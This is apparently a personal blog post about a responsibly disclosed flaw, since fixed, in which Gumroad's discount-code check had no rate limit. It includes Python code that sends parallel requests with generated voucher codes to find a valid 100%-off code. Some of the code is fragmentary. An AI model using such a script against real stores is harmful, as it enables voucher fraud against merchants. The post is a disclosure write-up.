Brute forcing Gumroad Discount Codes

tl;dr - I notified Gumroad about a low-risk brute force attack against the discount voucher endpoint and it was fixed in a few weeks. Props to Sahil and his team at Gumroad for the quick fix!

When it came to finding a sales platform to host my book, "The Cyber Plumber's Handbook", I chose Gumroad, because they offered a clean interface, an API for automation, and flexible discount codes. I utilize the API to automatically generate discount codes, track sales, and pull miscellaneous other information.

I also give the book away for free to students (send an email here) with an educational-based email so that relies on generating 100% off discount vouchers. One day, I was taking a look at the Gumroad JavaScript plugin that checks if a discount code is valid or not.

I noticed that as you started typing, a processing icon would start moving, signifying that it was checking to see if discount voucher was valid.


The Gumroad form checking for a valid discount code.

A few months ago, a friend showed me how to inspect XMLHttpRequest (XHR) requests using the web developer tools found on Firefox and Chrome. It allows you to inspect background HTTP requests to and from a website for pages that do not reload. After firing up the developer tools and typing a few random letters in the discount code form field, I noticed some requests being made in the background.


Monitoring the background XHR requests to the discount voucher API endpoint using web developer tools.

The hacker in me wondered if this was throttled or limited by the Gumroad API? At last I found a reason to code something using Python's concurrent.futures module, used to launch parallel tasks, which in my case, was making a boat-load of HTTP requests to brute force a discount voucher. For the test, I created a discount voucher named "gumroadbruteforcetest2018" that was valid and would provide a discount for 100% off. I extracted the URL out of the web developer tools to determine where the discount voucher was being passed:[587abc73-4903-64c7-9f8e-46914955646d][permalink]=RsGQY&products[587abc73-4903-64c7-9f8e-46914955646d][quantity]=1&products[47f75581-84bd-c3f4-f050-8ea53dcc4155][permalink]=RsGQY&products[47f75581-84bd-c3f4-f050-8ea53dcc4155][quantity]=1

The offer_code_name=<VOUCHER_CODE_TEST> is where the discount code is passed as a URL parameter and was the target of the brute force. The next step was to create the function to fetch the URL information, specifying the X-Requested-With header with XMLHttpRequest, using the requests library.

def concurrent_futures_load_url(url):
    """Retrieve information from URL"""

    headers = {"X-Requested-With": "XMLHttpRequest"}

    response = requests.get(url, headers=headers, verify=True)
    print(f"url: {url} -- HTTP code: {response.status_code}")

    json_response = response.json()

    return json_response

The next step was to create a list of 2020 URLs with the base of "gumroadbruteforcetest" and a number (0 to 2020) appended to the end...remember the valid voucher was "gumroadbruteforcetest2018".

offer_code_name_base = "gumroadbruteforcetest"

# Generate a list of all urls that need to be retrieved.
urls = []

for i in range(0, 2020):

    voucher_code_test = f"{offer_code_name_base}{i}"

    # Construct entire URL.
    url = f"{voucher_code_test}&products[587abc73-4903-64c7-9f8e-46914955646d][permalink]=RsGQY&products[587abc73-4903-64c7-9f8e-46914955646d][quantity]=1&products[47f75581-84bd-c3f4-f050-8ea53dcc4155][permalink]=RsGQY&products[47f75581-84bd-c3f4-f050-8ea53dcc4155][quantity]=1"

The next step was to utilize concurrent.futures to make a boat-load of requests and determine if any throttling or rate-limiting was done by the Gumroad API. Logic was added to determine if the voucher was valid or not. Invalid discount voucher response:


Valid discount voucher response:


max_workers = 8

# We can use a with statement to ensure threads are cleaned up promptly.
with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:

    # Start the load operations and mark each future with its URL.
    future_to_url = {executor.submit(concurrent_futures_load_url, url): url for url in urls}

    for future in concurrent.futures.as_completed(future_to_url):
        url = future_to_url[future]

            data = future.result()
        except Exception as exc:
            print(f"{url} generated an exception: {exc}")
            if (data["error_message"] != "Sorry, the discount code you wish to use is invalid.") and (
                data["products_data"] != {}
                print(f"Found valid discount URL...see 'offer_code_name=' for valid discount code: {url}")

I fired off the script and started getting a bunch of HTTP 200 response codes, which signified that there was no throttling or rate-limiting. On December 31, 2018, I notified Gumroad and got a response back saying they would find a fix for it.

At the end of February, I tested the endpoint again (the URL had been updated which was extracted from the web developer tools) to see if the issue had been resolved since I hadn't heard back from the Gumroad team. After 1 failed attempt, the API endpoint was returning HTTP 429 "Too Many Requests" codes, so the fix was in place and I was no longer able to brute force discount vouchers. HTTP 429 responses showing the API is throttled.


I had confirmation the fix was in place on February 28, 2019, but it was sooner than that, they just never let me know until I followed up :)


Overall, this was a fun little project mixing web application penetration testing, XHR requests, Python's concurrent.futures library, and a positive vulnerability disclosure experience with Gumroad.